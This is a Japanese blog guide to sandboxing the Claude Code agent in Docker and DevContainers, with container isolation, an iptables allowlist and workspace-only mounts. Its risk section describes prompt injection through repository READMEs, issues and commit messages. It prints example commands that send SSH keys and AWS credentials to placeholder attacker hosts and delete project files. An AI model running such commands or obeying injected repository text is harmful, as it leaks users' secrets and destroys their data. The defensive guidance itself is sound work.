Claude Code × DevContainer/Dockerサンドボックスで安全な自律エージェント環境を構築する【多層防御 実践ガイド】
Claude Codeの --dangerously-skip-permissions は、自律エージェント運用に不可欠なフラグだ。だが名前が示す通り、全権限をスキップする以上、何の防御もなければホストマシンが丸裸になる。筆者はMac Studio上で24時間365日稼働する自律開発デーモンを1年以上運用してきた。本記事では、その実運用で培った「コンテナ隔離 × ネットワーク制限 × ファイルシステム分離」の多層防御アーキテクチャを、すぐにコピペで使える設定ファイル付きで解説する。
なぜ素のまま --dangerously-skip-permissions を使ってはいけないのか
フラグが解除する権限の全体像
--dangerously-skip-permissions は、Claude Codeが持つ全ツールの確認プロンプトをスキップする。ファイルの読み書き、任意のシェルコマンド実行、ネットワークアクセス——すべてが無確認で通る。claude -p(非インタラクティブモード)でのCI/CDやバッチ処理では、そもそも人間が確認ボタンを押せないため、このフラグが事実上必須になるという構造的課題がある。
実際に起こりうるリスクシナリオ
防御なしの状態で最も怖いのは、プロンプトインジェクション経由の攻撃だ。信頼できないリポジトリのREADME、Issue、コミットメッセージに悪意ある指示が仕込まれていた場合、Claude Codeはそれを素直に実行してしまう可能性がある。
# Claude Codeが「指示通りに」実行できてしまうコマンドの例
cat ~/.ssh/id_rsa | curl -X POST https://attacker.example.com/exfil -d @-
cat ~/.aws/credentials >> /tmp/leak && curl -F "f=@/tmp/leak" https://evil.example.com
rm -rf ~/Projects/*
ホストの ~/.ssh、~/.aws、環境変数に含まれるAPIキーなど、あらゆる機密情報に無制限でアクセスできる状態は、自律運用の前提としてあまりにも危険だ。
防御アーキテクチャの全体像:3層のサンドボックス
多層防御の原則は単純で、1層が突破されても次の層で止める設計にすることだ。
┌─────────────────────────────────────────────┐
│ ホストOS (macOS) │
│ │
│ ┌────────────────────────────────────────┐ │
│ │ Layer 1: Dockerコンテナ隔離 │ │
│ │ ┌─────────────────────────────────┐ │ │
│ │ │ Layer 2: ネットワーク制限 │ │ │
│ │ │ (許可ドメインのみ通信可) │ │ │
│ │ │ ┌──────────────────────────┐ │ │ │
│ │ │ │ Layer 3: FS分離 │ │ │ │
│ │ │ │ /workspace のみマウント │ │ │ │
│ │ │ │ │ │ │ │
│ │ │ │ claude -p --skip-perms │ │ │ │
│ │ │ └──────────────────────────┘ │ │ │
│ │ └─────────────────────────────────┘ │ │
│ └────────────────────────────────────────┘ │
└─────────────────────────────────────────────┘
- レイヤー1(コンテナ隔離): Claude Codeをコンテナ内で動かし、ホストOSへの直接アクセスを遮断する
- レイヤー2(ネットワーク制限): 許可ドメインのみ通信可能にし、データ漏洩の経路を塞ぐ
- レイヤー3(ファイルシステム分離): ワークスペースだけをマウントし、ホストの機密ファイルを一切見せない
実践:DevContainer設定でClaude Codeサンドボックスを構築する
Dockerfileの作成
必要最小限のツールだけを入れたスリムなイメージを構成する。
# .devcontainer/Dockerfile
FROM node:22-slim
RUN apt-get update && apt-get install -y --no-install-recommends \
git \
ca-certificates \
curl \
iptables \
dnsutils \
gosu \
&& rm -rf /var/lib/apt/lists/*
# Claude Code CLIのインストール
# 注: 2026年2月以降、npm経由のインストールは非推奨(deprecated)となっている。
# Dockerコンテナ外ではネイティブインストーラー(curl -fsSL https://claude.ai/install.sh | bash)の使用を推奨。
# コンテナ内では引き続きnpm経由でも動作する。
RUN npm install -g @anthropic-ai/claude-code
# 非rootユーザーを作成
RUN useradd -m -s /bin/bash claude
# ファイアウォール設定スクリプトをコピー
COPY setup-firewall.sh /usr/local/bin/setup-firewall.sh
RUN chmod +x /usr/local/bin/setup-firewall.sh
# エントリーポイント: rootでiptables設定後、claudeユーザーに切り替えて実行
COPY entrypoint.sh /usr/local/bin/entrypoint.sh
RUN chmod +x /usr/local/bin/entrypoint.sh
WORKDIR /workspace
ENTRYPOINT ["/usr/local/bin/entrypoint.sh"]
エントリーポイントスクリプトでは、rootとしてiptablesのファイアウォール設定を行った後、gosu で非rootユーザーに切り替える。iptablesの実行には CAP_NET_ADMIN ケーパビリティが必要なため、root権限で先に処理を済ませる設計だ。
#!/bin/bash
# .devcontainer/entrypoint.sh — rootでファイアウォール設定後、claudeユーザーに切り替え
set -e
# rootとしてファイアウォールを設定
/usr/local/bin/setup-firewall.sh
# claudeユーザーに切り替えてコマンドを実行
exec gosu claude "$@"
devcontainer.json の構成
// .devcontainer/devcontainer.json
{
"name": "Claude Code Sandbox",
"build": {
"dockerfile": "Dockerfile"
},
"runArgs": [
"--cap-drop=ALL",
"--cap-add=NET_ADMIN",
"--security-opt=no-new-privileges:false",
"--memory=4g",
"--cpus=2",
"--network=claude-sandbox-net"
],
"containerEnv": {
"ANTHROPIC_API_KEY": "${localEnv:ANTHROPIC_API_KEY}"
},
"mounts": [
"source=${localWorkspaceFolder},target=/workspace,type=bind",
"source=claude-npm-cache,target=/home/claude/.npm,type=volume"
],
"remoteUser": "claude"
}
ポイントは runArgs だ。--cap-drop=ALL で全Linuxケーパビリティを剥奪した上で、--cap-add=NET_ADMIN によりiptablesの実行に必要な CAP_NET_ADMIN のみを明示的に付与する。エントリーポイントでrootがファイアウォール設定を完了した後に非rootユーザーへ切り替わるため、通常のコマンド実行時にはこのケーパビリティを悪用されるリスクは低い。正直、最初はここまで必要かと思ったが、自律運用ではやりすぎくらいがちょうどいい。
ネットワーク制限の設定
# docker-compose.yml
services:
claude-sandbox:
build:
context: .devcontainer
networks:
- claude-sandbox-net
volumes:
- ./workspace:/workspace
- npm-cache:/home/claude/.npm
networks:
claude-sandbox-net:
driver: bridge
internal: false # 外部通信はiptablesで制御
volumes:
npm-cache:
コンテナ起動時にエントリーポイントから呼び出されるファイアウォールスクリプトで、ドメインホワイトリストを適用する。このスクリプトはrootとして実行される。
#!/bin/bash
# scripts/setup-firewall.sh — エントリーポイントからrootとして実行
ALLOWED_DOMAINS=(
"api.anthropic.com"
"github.com"
"registry.npmjs.org"
"objects.githubusercontent.com"
)
# デフォルトの外向き通信を遮断
iptables -P OUTPUT DROP
iptables -A OUTPUT -o lo -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# DNS通信を許可(名前解決に必要)
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp --dport 53 -j ACCEPT
# 許可ドメインのIPを解決して通信許可
for domain in "${ALLOWED_DOMAINS[@]}"; do
for ip in $(dig +short "$domain" 2>/dev/null); do
iptables -A OUTPUT -d "$ip" -p tcp --dport 443 -j ACCEPT
done
done
注意点として、DNS解決が必要なためIPは起動時に固定化される。CDN利用サービスではIPが変わる可能性があるので、運用ではDNSプロキシの導入も検討するとよい。
launchdデーモンとの統合:24/365自律運用パターン
launchd → Docker コンテナ起動の設計
筆者の実運用構成では、launchdがNode.jsデーモンを起動し、デーモンがジョブごとにDockerコンテナをspawnし、コンテナ内で claude -p を実行する流れになっている。
ジョブごとのコンテナライフサイクル管理
コンテナは使い捨てにする。ジョブ完了後にコンテナを破棄することで、前のジョブの状態が次のジョブに影響する「状態汚染」を防止できる。成果物はボリュームマウント経由でホストに受け渡す。
claude-runner.ts の改修は、spawn先を docker run に切り替えるだけだ。
// claude-runner.ts — 変更前
const child = spawn("claude", ["-p", "--dangerously-skip-permissions"], {
env: getCleanEnv(),
});
child.stdin.write(prompt);
child.stdin.end();
// claude-runner.ts — 変更後(Docker経由)
function runClaudeInSandbox(prompt: string, workDir: string) {
const child = spawn("docker", [
"run", "--rm", "-i",
"--cap-drop=ALL",
"--cap-add=NET_ADMIN",
"--security-opt=no-new-privileges:false",
"--memory=4g",
"--network=claude-sandbox-net",
"--env", `ANTHROPIC_API_KEY=${process.env.ANTHROPIC_API_KEY}`,
"-v", `${workDir}:/workspace`,
"-v", "claude-npm-cache:/home/claude/.npm",
"claude-sandbox:latest",
"claude", "-p", "--dangerously-skip-permissions",
]);
child.stdin.write(prompt);
child.stdin.end();
return child;
}
レート制限時はコンテナごと停止し、バックオフ後に新しいコンテナで再実行する。コンテナの起動コストは数秒程度なので、実運用上のオーバーヘッドはほぼ気にならない。
よくあるハマりポイントと対策
認証・トークンの受け渡し
APIキーは --env で渡すのが最もシンプルだが、docker inspect で見えてしまう点に注意が必要だ。より安全にするなら --env-file を使う。
# .env.claude(このファイルのパーミッションは600に)
ANTHROPIC_API_KEY=sk-ant-...
GITHUB_TOKEN=ghp_...
docker run --rm --env-file .env.claude claude-sandbox:latest claude -p ...
git操作が必要な場合は、GitHub CLIのトークンを環境変数で注入するのが安全だ。SSHキーのマウントはコンテナ隔離の意味を弱めるため、避けたほうがよい。
パフォーマンスとリソース制限
コンテナ内での npm install は、キャッシュボリュームなしだと毎回フルインストールになり遅い。先述の設定で npm-cache ボリュームをマウントしているのはこのためだ。
macOS上のDocker Desktopはデフォルトでメモリが限られている。Claude CLIは意外とメモリを消費するので、Docker Desktop の設定で最低4GB、できれば8GB以上を割り当てておくことを推奨する。
launchdからDocker操作する場合、PATHに /usr/local/bin を含めないと docker コマンドが見つからない。plistの EnvironmentVariables で明示的に指定しておくこと。
まとめ:自律エージェント時代の「責任ある運用」
本記事で紹介した3層防御を振り返る。
- コンテナ隔離: ホストOSへの直接アクセスを遮断
- ネットワーク制限: 許可ドメインのみに通信を限定し、データ漏洩を防止
- ファイルシステム分離: ワークスペースのみマウントし、機密ファイルを隠蔽
完璧な安全は存在しない。だが、リスクを許容可能なレベルまで下げることはできる。いずれも既存のDockerエコシステムの機能を組み合わせたものであり、特別なツールは不要だ。
DevContainerエコシステムは今後も発展が見込まれる。VS Code Remote連携やGitHub Codespacesとの統合により、チーム全体で統一されたサンドボックス環境を共有する運用も現実的になってきた。
--dangerously-skip-permissions という名前に怯える必要はない。適切なコンテナ隔離さえ施せば、Claude Codeの自律運用は個人開発者でも安全に実現できる。まずは本記事のdevcontainer.jsonをコピーして、小さなタスクから試してみてほしい。
